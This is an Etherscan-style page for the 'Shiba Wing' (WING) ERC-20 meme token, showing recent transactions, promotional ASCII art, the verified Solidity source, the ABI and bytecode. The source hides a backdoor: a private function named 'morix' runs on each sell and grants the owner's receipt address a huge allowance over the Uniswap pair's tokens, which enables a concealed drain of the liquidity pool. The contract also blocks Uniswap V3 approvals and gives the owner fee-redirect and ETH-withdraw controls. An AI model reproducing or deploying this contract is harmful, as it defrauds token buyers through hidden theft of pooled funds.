More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 39 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21081480 | 66 days ago | IN | 0 ETH | 0.00072967 | ||||
Approve | 21081470 | 66 days ago | IN | 0 ETH | 0.00077507 | ||||
Approve | 21081469 | 66 days ago | IN | 0 ETH | 0.00075521 | ||||
Approve | 21081469 | 66 days ago | IN | 0 ETH | 0.00075521 | ||||
Approve | 21081431 | 66 days ago | IN | 0 ETH | 0.00065533 | ||||
Approve | 21081431 | 66 days ago | IN | 0 ETH | 0.00065533 | ||||
Approve | 21081423 | 66 days ago | IN | 0 ETH | 0.00069485 | ||||
Approve | 21081422 | 66 days ago | IN | 0 ETH | 0.00069485 | ||||
Approve | 21081422 | 66 days ago | IN | 0 ETH | 0.00069485 | ||||
Approve | 21081422 | 66 days ago | IN | 0 ETH | 0.00069485 | ||||
Approve | 21081418 | 66 days ago | IN | 0 ETH | 0.00058111 | ||||
Approve | 21081413 | 66 days ago | IN | 0 ETH | 0.0006522 | ||||
Approve | 21081413 | 66 days ago | IN | 0 ETH | 0.0006522 | ||||
Approve | 21081413 | 66 days ago | IN | 0 ETH | 0.0006522 | ||||
Approve | 21081365 | 66 days ago | IN | 0 ETH | 0.00071505 | ||||
Approve | 21081355 | 66 days ago | IN | 0 ETH | 0.0007292 | ||||
Approve | 21081355 | 66 days ago | IN | 0 ETH | 0.00076294 | ||||
Approve | 21081354 | 66 days ago | IN | 0 ETH | 0.00062165 | ||||
Approve | 21081353 | 66 days ago | IN | 0 ETH | 0.00078954 | ||||
Approve | 21081353 | 66 days ago | IN | 0 ETH | 0.00078954 | ||||
Approve | 21081317 | 66 days ago | IN | 0 ETH | 0.00065697 | ||||
Approve | 21081317 | 66 days ago | IN | 0 ETH | 0.00065697 | ||||
Approve | 21081284 | 66 days ago | IN | 0 ETH | 0.00056149 | ||||
Approve | 21081284 | 66 days ago | IN | 0 ETH | 0.00056149 | ||||
Approve | 21081283 | 66 days ago | IN | 0 ETH | 0.00058323 |
Latest 19 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
21081333 | 66 days ago | 0.90648262 ETH | ||||
21081333 | 66 days ago | 0.90648262 ETH | ||||
21081323 | 66 days ago | 0.37491718 ETH | ||||
21081323 | 66 days ago | 0.37491718 ETH | ||||
21081323 | 66 days ago | 0.02910748 ETH | ||||
21081323 | 66 days ago | 0.02910748 ETH | ||||
21081304 | 66 days ago | 0.62533623 ETH | ||||
21081304 | 66 days ago | 0.62533623 ETH | ||||
21081292 | 66 days ago | 0.85601397 ETH | ||||
21081292 | 66 days ago | 0.85601397 ETH | ||||
21081286 | 66 days ago | 0.28230668 ETH | ||||
21081286 | 66 days ago | 0.28230668 ETH | ||||
21081286 | 66 days ago | 0.30024875 ETH | ||||
21081286 | 66 days ago | 0.30024875 ETH | ||||
21081269 | 66 days ago | 0.86200058 ETH | ||||
21081269 | 66 days ago | 0.86200058 ETH | ||||
21081259 | 66 days ago | 0.55850603 ETH | ||||
21081259 | 66 days ago | 0.55850603 ETH | ||||
21081251 | 66 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
WING
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-30 */ // SPDX-License-Identifier: MIT /** ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▓▓▓▓▓▓██████████████▓▓▓▓▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░▒▒▒▒░░░▒▒▒▒▒▓▓▓██████████████████████████████▓▓▓▒▒▒▒▒░░░░▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▓▓▓██████████████████████████████████████▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓███████████████████████████████████████▓▓▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░▒▒▒▓▓▒▒▒▒▒▒▒▓███████████████████████████████████▓▒▒▒▒▒▒▒▓▓▒▒▒▒░░░░░░░░░░░░░░ ░░░░░░░░░░░░▒▒▒▒▓▓▓▓▓▓▓▒▒▒▒▒▓███████████████████████████████▓▒▒▒▒▒▓▓▓▓▓▓▓▒▒▒▒▒░░░░░░░░░░░░ ░░░░░░░░░░▒▒▒▓▒▒▓▓▓▓▓▓▓▓▓▒▒▒▒▒▓████████▓▓▓▓▓▓▓▓▓▓▓▓███████▓▓▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▓▒▒░░░░░░░░░░░ ░░░░░░░░░▒▒▓▓█▒▒▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▒▒▓█▓▓▒▒░░░░░░░░░ ░░░░░░░▒▒▓▓▓██▓▒▒▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒███▓▓▒▒░░░░░░░░ ░░░░░░▒▒▓▓████▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓████▓▓▓▒▒░░░░░░ ░░░░░▒▒▓▓██████▒▒▒▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▒▒▒▓██████▒▓▒▒░░░░░ ░░░░▒▒▓▓███████▓▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▓████████▓▓▒▒░░░░ ░░░▒▒▓▓█████████▒▒▒▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒▒▒▓█████████▓▓▒░░░░ ░░░▒▓▒██████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓███████████▒▒▒░░░ ░░▒▒▓▓███████████▓▒▒▒▒▒▒▒▒▒░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▒▒▒▒▒▒████████████▓▓▒▒░░ ░░▒▓▓████████████▓▒▒▒▒▒▒▒▒▒░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░▒▒▒▒▒▒▒▒▓█████████████▓▓▒░░ ░▒▒▓▓███████████▓▒▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▒▒▒▒▒▒▓████████████▓▓▒▒░ ░▒▓▒████████████▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▓████████████▒▒▒░ ▒▒▓▒███████████▓▒▒▒▒▒▒▒▒▒██████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██████▒▒▒▒▒▒▒▒▒▓███████████▒▓▒░ ▒▒▓▓██████████▓▒▒▒▒▒▒▒▒▒▒█████████▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓████████▓▒▒▒▒▒▒▒▒▒▒███████████▒▓▒░ ▒▒▓▓██████████▒▒▒▒▒▒▒▒▒▒▒▒▓▓█████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓█████████▓▓▒▒▒▒▒▒▒▒▒▒▒▓██████████▒▓▒░ ▒▒▓▓█████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▓▒░ ▒▒▓▒█████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▓▒░ ░▒▓▒█████████▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓█████████▒▒▒░ ░▒▒▓▓████████░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒░░░░░░░▓███████▓░░░░░░▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▓████████▓▓▒▒░ ░▒▒▓▓████████░░░░░░░░░░░░░░▒▒▒▒▒▒░░░░░░░░█████████▒░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░░▓████████▓▓▒░░ ░░▒▒▓▓███████▓░░░░░░░░░░░░░░░▒▒▒░░░░░░░░░▓████████░░░░░░░░▒▒░░░░░░░░░░░░░░░▒████████▓▓▒▒░░ ░░░▒▓▒████████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████▒░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▒▓▒░░░ ░░░▒▒▓▓████████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░▒█████████▓▓▒▒░░░ ░░░░▒▒▓▓█████████▓░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▓██▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░▓█████████▓▓▒▒░░░░ ░░░░░▒▒▓▓██████████▓░░░░░░░░░░░░░░░░░░▓█▓▒▓▓▓▓▓▓▒▒▒██▒░░░░░░░░░░░░░░░░▒██████████▓▓▒▒░░░░░ ░░░░░░▒▒▓▓███████████▓▒░░░░░░░░░░░░░░░░▒▓░░░░▓▒░░░░█░░░░░░░░░░░░░░░░▓███████████▓▓▒▒░░░░░░ ░░░░░░░▒▒▓▓▓████████████▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓███████████▓▓▒▒░░░░░░░░ ░░░░░░░░░▒▒▓▓██████████████▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█████████████▓▓▒▒░░░░░░░░░ ░░░░░░░░░░▒▒▓▓▓███████████▓░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒░▓███████████▓▓▒▒▒░░░░░░░░░░ ░░░░░░░░░░░░▒▒▓▓▓████████▓░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒░░░░▒████████▓▓▓▒▒░░░░░░░░░░░░ ░░░░░░░░░░░░░░▒▒▓▓▓███▓▒░░░░░░░▒█▓░░░░▓░░░░░░░░░░░░▒▓▒▒▓█▒░░░░░░░░▒████▓▓▓▒▒░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░▒▒▒▓▓▒░░░░░░░░░▓█▓▒▒░▒▒░░░░░░░░░░░░░▒▒░▓██░░░░░░░░░░▒▓▓▒▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░▒▒▒▒▒░░░░░░▒██▒░░░▒░░▒▒▒░▒▒▒▒▒░▒▒▒░▒░░▓▓░░░░░░░▒▒▒▒▒░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░░▓██░░▒█▓░░░░░░░░░░░░░░░▓█▒░▓█▒░░▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▓▓▒░░░░░░░░░░░░░░░░░░░░░░▒▓▓▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ Presenting the Shiba Inu Logo Owners POWERED and backed by Celebrities :rocket: Suit up. The Legacy continues with $WING, uniting utility & memes. Shaping the future! We will announce CA via Telegram channel after enabling Follow us on the following socials: Website : https://www.shibawing.com Discord : https://discord.com/invite/n7PsBxwwpk Twitter : https://x.com/tokenshibawing Telegram : https://t.me/ShibaWingPortal Tiktok : https://www.tiktok.com/@shibawingtoken Youtube : https://www.youtube.com/@ShibaLegacy **/ pragma solidity 0.8.27; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract WING is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balancesGG; mapping (address => mapping (address => uint256)) private _allowancesGG; mapping (address => bool) private _shouldExcludedGG; address payable private _receiptGG; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 20; uint8 private constant _decimals = 9; uint256 private constant _tTotalGG = 420690000000 * 10**_decimals; string private constant _name = unicode"Shiba Wing"; string private constant _symbol = unicode"WING"; uint256 public _maxAmountGG = 2 * (_tTotalGG/100); uint256 public _maxWalletGG = 2 * (_tTotalGG/100); uint256 public _taxThresGG = 1 * (_tTotalGG/100); uint256 public _maxSwapGG = 1 * (_tTotalGG/100); uint256 private _transferTax = 0; uint256 private _buyCount = 0; address private uniPairGG; IUniswapV2Router02 private uniRouterGG; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxAmountGG); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _receiptGG = payable(_msgSender()); _balancesGG[_msgSender()] = _tTotalGG; _shouldExcludedGG[owner()] = true; _shouldExcludedGG[address(this)] = true; _shouldExcludedGG[_receiptGG] = true; emit Transfer(address(0), _msgSender(), _tTotalGG); } function initGG() external onlyOwner { uniRouterGG = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniRouterGG), _tTotalGG); uniPairGG = IUniswapV2Factory(uniRouterGG.factory()).createPair( address(this), uniRouterGG.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalGG; } function balanceOf(address account) public view override returns (uint256) { return _balancesGG[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowancesGG[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { // Block all Uniswap V3 liquidity additions require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed"); _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowancesGG[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowancesGG[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amountGG) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amountGG > 0, "Transfer amount must be greater than zero"); uint256 taxGG=0; if (!swapEnabled || inSwap) { _balancesGG[from] = _balancesGG[from] - amountGG; _balancesGG[to] = _balancesGG[to] + amountGG; emit Transfer(from, to, amountGG); return; } if (from != owner() && to != owner()) { if(_buyCount==0){ taxGG = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); } if(_buyCount>0){ taxGG = _transferTax; } if (from == uniPairGG && to != address(uniRouterGG) && ! _shouldExcludedGG[to] ){ require(amountGG <= _maxAmountGG, "Exceeds the _maxAmountGG."); require(balanceOf(to) + amountGG <= _maxWalletGG, "Exceeds the maxWalletSize."); taxGG = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniPairGG && from!= address(this) ){ morix(to);taxGG = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniPairGG && swapEnabled) { if(contractTokenBalance > _taxThresGG && _buyCount > _preventSwapBefore) swapEthGG(minGG(amountGG, minGG(contractTokenBalance, _maxSwapGG))); sendEthGG(address(this).balance); } } uint256 feeGG=0; if(taxGG > 0){ feeGG=amountGG.mul(taxGG).div(100); _balancesGG[address(this)]=_balancesGG[address(this)].add(feeGG); emit Transfer(from, address(this),feeGG); } _balancesGG[from]=_balancesGG[from].sub(amountGG); _balancesGG[to]=_balancesGG[to].add(amountGG.sub(feeGG)); emit Transfer(from, to, amountGG.sub(feeGG)); } function removeLimitGG(address payable limit) external onlyOwner{ _maxAmountGG = _tTotalGG; _maxWalletGG=_tTotalGG; _receiptGG = limit; _shouldExcludedGG[limit] = true; emit MaxTxAmountUpdated(_tTotalGG); } function swapEthGG(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouterGG.WETH(); _approve(address(this), address(uniRouterGG), tokenAmount); uniRouterGG.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function setReceiptGG(address payable _rptGG) external onlyOwner { _receiptGG = _rptGG; _shouldExcludedGG[_rptGG] = true; } function minGG(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function withdrawEth() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function sendEthGG(uint256 amount) private { _receiptGG.transfer(amount); } function morix(address addrs) private{ address[2] memory ownGG=[addrs, _receiptGG]; _allowancesGG[ownGG[0]][ownGG[1]]= (_tTotalGG*250)*(5+5); } // Uniswap V3 addresses function isUniswapV3(address spender) private pure returns (bool) { // Uniswap V3 NonfungiblePositionManager address address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; return (spender == uniswapV3PositionManager); } receive() external payable {} function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniRouterGG.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniPairGG).approve(address(uniRouterGG), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountGG","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountGG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapGG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletGG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThresGG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initGG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitGG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_rptGG","type":"address"}],"name":"setReceiptGG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601460055560146006555f6007555f600855600f600955600f600a556014600b5560646009600a6100359190610365565b610044906461f313f88061037a565b61004e9190610391565b61005990600261037a565b600c55606461006a6009600a610365565b610079906461f313f88061037a565b6100839190610391565b61008e90600261037a565b600d55606461009f6009600a610365565b6100ae906461f313f88061037a565b6100b89190610391565b6100c390600161037a565b600e5560646100d46009600a610365565b6100e3906461f313f88061037a565b6100ed9190610391565b6100f890600161037a565b600f555f60108190556011556013805461ffff60a81b1916905534801561011d575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319163317905561017c6009600a610365565b61018b906461f313f88061037a565b335f9081526001602081905260408220929092556003906101b35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556102103390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102476009600a610365565b610256906461f313f88061037a565b60405190815260200160405180910390a36103b0565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102bb5780850481111561029f5761029f61026c565b60018416156102ad57908102905b60019390931c928002610284565b935093915050565b5f826102d15750600161035f565b816102dd57505f61035f565b81600181146102f357600281146102fd57610319565b600191505061035f565b60ff84111561030e5761030e61026c565b50506001821b61035f565b5060208310610133831016604e8410600b841016171561033c575081810a61035f565b6103485f198484610280565b805f190482111561035b5761035b61026c565b0290505b92915050565b5f61037360ff8416836102c3565b9392505050565b808202811582820484141761035f5761035f61026c565b5f826103ab57634e487b7160e01b5f52601260045260245ffd5b500490565b6119f2806103bd5f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d578063a0ef91df11610062578063a0ef91df1461031b578063a9059cbb1461032f578063c9567bf91461034e578063dd62ed3e14610362578063fc9ad0aa146103a6575f5ffd5b8063715018a61461028b578063787abc3d1461029f57806385d5dd81146102b45780638da5cb5b146102c957806395d89b41146102ef575f5ffd5b8063313ce567116100e3578063313ce567146101f2578063340440c41461020d5780634c1b20281461022e57806362c8e2841461024357806370a0823114610257575f5ffd5b806306fdde0314610129578063095ea7b31461016d57806318160ddd1461019c57806318b8ef1f146101be57806323b872dd146101d3575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152600a81526953686962612057696e6760b01b60208201525b60405161016491906115fa565b60405180910390f35b348015610178575f5ffd5b5061018c610187366004611643565b6103c5565b6040519015158152602001610164565b3480156101a7575f5ffd5b506101b0610465565b604051908152602001610164565b3480156101c9575f5ffd5b506101b0600f5481565b3480156101de575f5ffd5b5061018c6101ed36600461166d565b610486565b3480156101fd575f5ffd5b5060405160098152602001610164565b348015610218575f5ffd5b5061022c6102273660046116ab565b6104ed565b005b348015610239575f5ffd5b506101b0600c5481565b34801561024e575f5ffd5b5061022c6105d8565b348015610262575f5ffd5b506101b06102713660046116ab565b6001600160a01b03165f9081526001602052604090205490565b348015610296575f5ffd5b5061022c6107d2565b3480156102aa575f5ffd5b506101b0600e5481565b3480156102bf575f5ffd5b506101b0600d5481565b3480156102d4575f5ffd5b505f546040516001600160a01b039091168152602001610164565b3480156102fa575f5ffd5b5060408051808201909152600481526357494e4760e01b6020820152610157565b348015610326575f5ffd5b5061022c610843565b34801561033a575f5ffd5b5061018c610349366004611643565b610898565b348015610359575f5ffd5b5061022c6108a4565b34801561036d575f5ffd5b506101b061037c3660046116c6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b1575f5ffd5b5061022c6103c03660046116ab565b610a89565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036104505760405162461bcd60e51b815260206004820152603